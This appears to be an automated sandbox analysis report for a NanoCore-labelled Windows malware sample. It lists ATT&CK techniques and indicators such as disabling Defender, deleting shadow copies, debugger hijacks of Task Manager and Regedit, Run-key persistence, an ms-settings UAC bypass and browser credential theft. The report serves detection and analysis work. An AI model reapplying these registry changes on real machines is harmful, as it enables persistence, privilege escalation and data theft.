nanocore | 3fceefd14ef464681dc56cc2b5c4172ecefcd91655e73d2fbc4209a09d36bdd3

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	bestla.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2080	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	bestla.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bestla.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4268	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	bestla.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	bestla.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	bestla.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2712	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	bestla.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	bestla.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	bestla.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
328	wscript.exe
6128	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	bestla.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	bestla.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3556	sc.exe
1728	sc.exe
3624	sc.exe
3720	sc.exe
468	sc.exe
3724	sc.exe
2876	sc.exe
5552	sc.exe
1348	sc.exe
5388	sc.exe
2660	sc.exe
4316	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3044	cmd.exe
2320	cmd.exe
5748	cmd.exe
4600	cmd.exe
5760	cmd.exe
2168	cmd.exe
252	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
968	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2340	NETSTAT.EXE
5392	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
200	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
568	vssadmin.exe
4844	vssadmin.exe
6104	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallpaperStyle = "2"	bestla.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134313675857541812"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	bestla.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	bestla.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	bestla.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe\" \"%1\""	bestla.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	bestla.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	bestla.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	bestla.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	bestla.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	bestla.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bestla.io_chrome.exe"	bestla.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\DelegateExecute	bestla.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	bestla.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5108	schtasks.exe
1152	schtasks.exe
2268	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3324	chrome.exe
3324	chrome.exe
2080	powershell.exe
2080	powershell.exe
2080	powershell.exe
4248	WMIC.exe
4248	WMIC.exe
4248	WMIC.exe
4248	WMIC.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
4944	WMIC.exe
4944	WMIC.exe
4944	WMIC.exe
4944	WMIC.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe
832	bestla.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
832	bestla.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeShutdownPrivilege	3324	chrome.exe
Token: SeCreatePagefilePrivilege	3324	chrome.exe
Token: SeIncreaseQuotaPrivilege	4248	WMIC.exe
Token: SeSecurityPrivilege	4248	WMIC.exe
Token: SeTakeOwnershipPrivilege	4248	WMIC.exe
Token: SeLoadDriverPrivilege	4248	WMIC.exe
Token: SeSystemProfilePrivilege	4248	WMIC.exe
Token: SeSystemtimePrivilege	4248	WMIC.exe
Token: SeProfSingleProcessPrivilege	4248	WMIC.exe
Token: SeIncBasePriorityPrivilege	4248	WMIC.exe
Token: SeCreatePagefilePrivilege	4248	WMIC.exe
Token: SeBackupPrivilege	4248	WMIC.exe
Token: SeRestorePrivilege	4248	WMIC.exe
Token: SeShutdownPrivilege	4248	WMIC.exe
Token: SeDebugPrivilege	4248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4248	WMIC.exe
Token: SeRemoteShutdownPrivilege	4248	WMIC.exe
Token: SeUndockPrivilege	4248	WMIC.exe
Token: SeManageVolumePrivilege	4248	WMIC.exe
Token: 33	4248	WMIC.exe
Token: 34	4248	WMIC.exe
Token: 35	4248	WMIC.exe
Token: 36	4248	WMIC.exe
Token: SeBackupPrivilege	5200	vssvc.exe
Token: SeRestorePrivilege	5200	vssvc.exe
Token: SeAuditPrivilege	5200	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4248	WMIC.exe
Token: SeSecurityPrivilege	4248	WMIC.exe
Token: SeTakeOwnershipPrivilege	4248	WMIC.exe
Token: SeLoadDriverPrivilege	4248	WMIC.exe
Token: SeSystemProfilePrivilege	4248	WMIC.exe
Token: SeSystemtimePrivilege	4248	WMIC.exe
Token: SeProfSingleProcessPrivilege	4248	WMIC.exe
Token: SeIncBasePriorityPrivilege	4248	WMIC.exe
Token: SeCreatePagefilePrivilege	4248	WMIC.exe
Token: SeBackupPrivilege	4248	WMIC.exe
Token: SeRestorePrivilege	4248	WMIC.exe
Token: SeShutdownPrivilege	4248	WMIC.exe
Token: SeDebugPrivilege	4248	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4248	WMIC.exe
Token: SeRemoteShutdownPrivilege	4248	WMIC.exe
Token: SeUndockPrivilege	4248	WMIC.exe
Token: SeManageVolumePrivilege	4248	WMIC.exe
Token: 33	4248	WMIC.exe
Token: 34	4248	WMIC.exe
Token: 35	4248	WMIC.exe
Token: 36	4248	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe
3324	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
832	bestla.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 3324	832	bestla.io_chrome.exe	89
PID 3324 wrote to memory of 2228	3324	chrome.exe	90
PID 832 wrote to memory of 2080	832	bestla.io_chrome.exe	91
PID 832 wrote to memory of 2660	832	bestla.io_chrome.exe	93
PID 3324 wrote to memory of 968	3324	chrome.exe	95
PID 3324 wrote to memory of 5992	3324	chrome.exe	96
PID 3324 wrote to memory of 5992	3324	chrome.exe	96
PID 3324 wrote to memory of 800	3324	chrome.exe	97
PID 3324 wrote to memory of 800	3324	chrome.exe	97
PID 832 wrote to memory of 4316	832	bestla.io_chrome.exe	98
PID 3324 wrote to memory of 2984	3324	chrome.exe	101
PID 3324 wrote to memory of 4844	3324	chrome.exe	182
PID 3324 wrote to memory of 2984	3324	chrome.exe	101
PID 3324 wrote to memory of 4844	3324	chrome.exe	182
PID 832 wrote to memory of 3724	832	bestla.io_chrome.exe	153
PID 832 wrote to memory of 3556	832	bestla.io_chrome.exe	154
PID 3324 wrote to memory of 3512	3324	chrome.exe	106
PID 3324 wrote to memory of 3512	3324	chrome.exe	106
PID 832 wrote to memory of 2876	832	bestla.io_chrome.exe	108
PID 832 wrote to memory of 5552	832	bestla.io_chrome.exe	110
PID 832 wrote to memory of 1728	832	bestla.io_chrome.exe	112
PID 832 wrote to memory of 3624	832	bestla.io_chrome.exe	155
PID 3324 wrote to memory of 4100	3324	chrome.exe	115
PID 3324 wrote to memory of 4100	3324	chrome.exe	115
PID 832 wrote to memory of 5232	832	bestla.io_chrome.exe	117
PID 832 wrote to memory of 3720	832	bestla.io_chrome.exe	118
PID 5232 wrote to memory of 1844	5232	fodhelper.exe	120
PID 832 wrote to memory of 468	832	bestla.io_chrome.exe	121
PID 832 wrote to memory of 568	832	bestla.io_chrome.exe	123
PID 832 wrote to memory of 4248	832	bestla.io_chrome.exe	184
PID 832 wrote to memory of 328	832	bestla.io_chrome.exe	132
PID 832 wrote to memory of 1152	832	bestla.io_chrome.exe	133
PID 832 wrote to memory of 2268	832	bestla.io_chrome.exe	200
PID 832 wrote to memory of 4600	832	bestla.io_chrome.exe	140
PID 832 wrote to memory of 5748	832	bestla.io_chrome.exe	142
PID 832 wrote to memory of 5760	832	bestla.io_chrome.exe	143
PID 832 wrote to memory of 2320	832	bestla.io_chrome.exe	145
PID 832 wrote to memory of 3044	832	bestla.io_chrome.exe	146
